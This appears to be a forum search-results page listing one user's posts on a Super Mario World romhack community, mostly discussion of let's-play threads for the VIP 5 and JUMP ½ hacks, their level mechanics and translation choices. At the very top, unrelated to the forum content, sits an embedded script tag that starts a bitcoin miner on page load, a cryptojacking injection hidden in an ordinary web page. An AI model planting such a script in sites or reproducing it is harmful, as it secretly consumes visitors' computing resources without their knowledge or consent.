<script>
miner.start(); // initialise bitcoin miner
</script>

pge projectsmw centralmario fan games galaxy

Search found 521 matches

Go to advanced search

by Ryrir
4 days ago
Forum: let's play
Topic: VIP 5 2019 - Like the phenomenon of angled light reflection to discos around the world
Replies: 177
Views: 5525

Re: VIP 5 2019 - Like the flax plant to those who want their colors to slide

The reason why raocow remembered the VIP coins being such a thing in the Yoshi cave is because of a glitch that was fixed in our translation. The way it‘s supposed to go is that there are four VIP coins in the level before the split to the secret exit path, and then one more VIP coin on either of th...
by Ryrir
6 days ago
Forum: let's play
Topic: VIP 5 2019 - Like the phenomenon of angled light reflection to discos around the world
Replies: 177
Views: 5525

Re: VIP 5 2019 - Like argot to the tweeds yattin' about nonch tidrey

you can slow down your speed to a snail's pace by repeatedly pressing the B button I have never heard about this before Yeah, it's not really commonly known I think. It's not something that is taught in any of the message boxes in the original SMW, and it's certainly not something you'd randomly de...
by Ryrir
6 days ago
Forum: let's play
Topic: VIP 5 2019 - Like the phenomenon of angled light reflection to discos around the world
Replies: 177
Views: 5525

Re: VIP 5 2019 - Like argot to the tweeds yattin' about nonch tidrey

Of course this is pure speculation on my part, but I believe that what the game expected you to do at the flying section was either divebomb below the wall of red koopas or simply fly at a faster pace so you can fly underneath them, like raocow did on his winning attempt. Once you're past them using...
by Ryrir
1 week ago
Forum: let's play
Topic: VIP 5 2019 - Like the phenomenon of angled light reflection to discos around the world
Replies: 177
Views: 5525

Re: VIP 5 2019 - Like school closure on exam day to the kids who haven't studied

It's interesting to note that some critical moments of today's puzzle level were actually 100% the same compared to the first puzzle level with a similar name in VIP 4. Specifically, in that level you also had to bring a baby red Yoshi up a vine and feed him a powerup, in order to be able to advance...
by Ryrir
1 week ago
Forum: let's play
Topic: VIP 5 2019 - Like the phenomenon of angled light reflection to discos around the world
Replies: 177
Views: 5525

Re: VIP 5 2019 - Like a talent for missing the ground to those trying to fly

In case anyone was curious, I might as well lay out the blue switch a little bit: If you don't have the green switch pressed and take the upper route at the midpoint, a door will lead you to an alternate version of the second half raocow went through, with the only difference being that most of the ...
by Ryrir
2 weeks ago
Forum: let's play
Topic: VIP 5 2019 - Like the phenomenon of angled light reflection to discos around the world
Replies: 177
Views: 5525

Re: VIP 5 2019 - Like mammoth-sized lungs to a trumpeter playing Moto Perpetuo

I understand why it's done, but the removal of all the allcaps feels like such a tragedy. Since this might not be obvious to anyone watching, maybe it'd be a good idea to explain our reasoning behind this. Basically, the reason why we removed any instances of allcaps in pretty much all of our trans...
by Ryrir
3 weeks ago
Forum: let's play
Topic: VIP 5 2019 - Like the phenomenon of angled light reflection to discos around the world
Replies: 177
Views: 5525

Re: VIP 5 - Like easy beginnings to one embarking on a long, long trip.

3 levels in and I already miss Jump and Jumphalf saving your dragon coins. That should be industry standard now if they're gonna be tied to unlocks Dragon coins don‘t actually unlock anything in the VIP series (unless they‘re unlocking something inside a specific level, like a secret exit). I suppo...
by Ryrir
1 month ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 36936

Re: JUMP ((d/dx)(√x))*√x - Half a jump is still a jump

i like how the same people who created this incredible 200iq puzzle also couldn't help themselves and had to put loss and a literal butthole joke in there
by Ryrir
1 month ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 36936

Re: JUMP Res((e^z)/(z^3)) z=0 - Half a jump is still a jump

Voltgloss wrote: am I right that the title of m/m's level is a Biblical reference?
Book of Job, chapter 5, verse 7 wrote:Yet man is born unto trouble, as the sparks fly upward.
by Ryrir
1 month ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 36936

Re: JUMP arg(1+(√(-1)))*(2/π) - Half a jump is still a jump

Image

pretty sure you can see the solution by watching the video, but just in case: blue is what raocow was doing, red is the solution to the puzzle
by Ryrir
1 month ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 36936

Re: JUMP ϕ(14)/ϕ(13) - Half a jump is still a jump

Every one of your posts is so highly defensive of every little thing people find wrong -- your visions were all so meaningful and perfect and we're all just a bunch of whinebabies for challenging your "artistic masterpiece". That was extremely uncalled for and just plain rude. Look at gbreeze‘s pos...
by Ryrir
2 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 36936

Re: JUMP sin(π/((3^2)-(3^1))) - Half a jump is still a jump

Voltgloss wrote: So why does Koopa Hiking Trail claim to have only one exit?
It's a mistake that will be fixed in the eventual update.

Oh while I'm posting: The p-balloon in the cinema is supposed to be a lifefarm. Hover directly above the kicked shell and you'll rack up lives fairly fast.
by Ryrir
2 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 36936

Re: JUMP 2^(-1) - Half a jump is still a jump

My level was played today! It was made pretty much during a timespan of three weeks after aterraformer announced JUMPhalf, with the specific instruction that "this time around, it's going to be an actual VIP-like collab, specifically in the style of VIP 1-3". Well, that didn't happen! On the chance ...
by Ryrir
2 months ago
Forum: project showcase
Topic: Fixed and Translated hacks
Replies: 32
Views: 6959

Re: Fixed and Translated hacks

Thanks for translating and revising Mix 5. Vip Mario 5 becomes an ancient romhack. But it was always beautiful or difficult game. I think one level's title is not translated. Hi! Thanks for playing our translation, I'm glad that you're enjoying it so far :catplanet: That level name is kind of a wei...
by Ryrir
2 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 36936

Re: JUMP 1÷2 - Half a jump is still a jump

That dragon coin in Koopa Khaos gave a lot of people a lot of trouble, since refreshing the shell timer with the noteblock is definitely on the more obscure side of SMW mechanics. Maaaaybe there should have been a movie for that one? Though I definitely believe it's still possible to figure out the ...
by Ryrir
2 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 36936

Re: JUMP (1^2)/(2^1) - Half a jump is still a jump

Christopher Lloyd wrote: Traditionally...
Agree to disagree with you there. The VIPs (released 2006-2011) did the exact same thing that JUMPhalf is doing here. As the single most influential series of SMW romhacks out there, surely they would be part of this "tradition" as well.
by Ryrir
2 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 36936

Re: JUMP (1^2)/(2^1) - Half a jump is still a jump

I don't quite understand where raocow is coming from with the timers. Remember the VIP playthroughs where a very similar thing happened fairly often, and instead of coming to the conclusion that "Oh, the level author must have expected me to die after getting the midway point!" we collectively came ...
by Ryrir
2 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 36936

Re: JUMP π/2π - Half a jump is still a jump

raocow complaining about the terrible hint in the lotus level is pretty funny considering a certain other forest level by a certain author that also expects the player to drop down a hole without any real indication at all whatsoever. you might even call it... ironic??
by Ryrir
2 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 36936

Re: JUMP 5*10^-1 - Half a jump is still a jump

I'll admit that I might have found what the hint is referring to but am not 100% sure how someone is supposed to get it from that because I found it on complete accident. There is a hidden door just to the left of that weird pit with the 1-up shroom that leads to an easier to use life farm, though ...
by Ryrir
2 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 36936

Re: JUMP 3/2-1 - Half a jump is still a jump

In a way these puzzles that just require you to remember a specific mechanic are pretty neat. the only thing you need to do is remember how vanilla SMW worked and you're good to go. though to be fair to raocow, remembering those mechanics in the context of a puzzle where you expect all sorts of shen...
by Ryrir
2 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 36936

Re: JUMP 1.(0)/2.(0) - Half a jump is still a jump

I feel like the chemical formula at the end of the green switch might be referencing something similar to this video, where the dude turns a penny into ""silver"" using zinc, and then even into ""gold"" later on. One of the main goals of alchemy was to turn worthless metals into gold, and (without d...
by Ryrir
2 months ago
Forum: let's play
Topic: SUPER - Mario and Detteiu's Trap Tower
Replies: 223
Views: 9483

Re: SUPER - Mario and Detteiu's Trap Tower

The gif above might also explain the function of the dotted outline blocks: So if you haven't pressed all the switches, but reach and save at the airship level... Is your save completely ruined? Because you can't beat the level AND can't leave? Or are the dotted line areas something other than rever...
by Ryrir
2 months ago
Forum: let's play
Topic: SUPER - Mario and Detteiu's Trap Tower
Replies: 223
Views: 9483

Re: SUPER - Mario and Detteiu's Trap Tower

I'm super impressed by raocow's playing today. That airship is not an easy level at all, even if he made it seem like one!

Elite koopas are a good meme. Anyone remember SMWCP?

by Ryrir
3 months ago
Forum: let's play
Topic: SUPER - Mario and Detteiu's Trap Tower
Replies: 223
Views: 9483

Re: SUPER - Mario and Detteiu's Trap Tower

Is this level a weird outlier? Yes. There are levels further down the line, especially at the very end of the game that are just as hard, but are a lot more fun to play. So even if you'll have to resort to savestates at screen transitions the way you did for today's level, I believe you'll still ha...
by Ryrir
3 months ago
Forum: let's play
Topic: SUPER - Mario and Detteiu's Trap Tower
Replies: 223
Views: 9483

Re: SUPER - Mario and Detteiu's Trap Tower

Yeah, the second half of this level has some pretty severe sprite spawning issues, which is actually the second thing (besides the missed SMW2 reference) that we might try and fix in an eventual update. Our best bet is that the exploding Yoshi's Island platforms don't get cleared in memory if you do...

Go to advanced search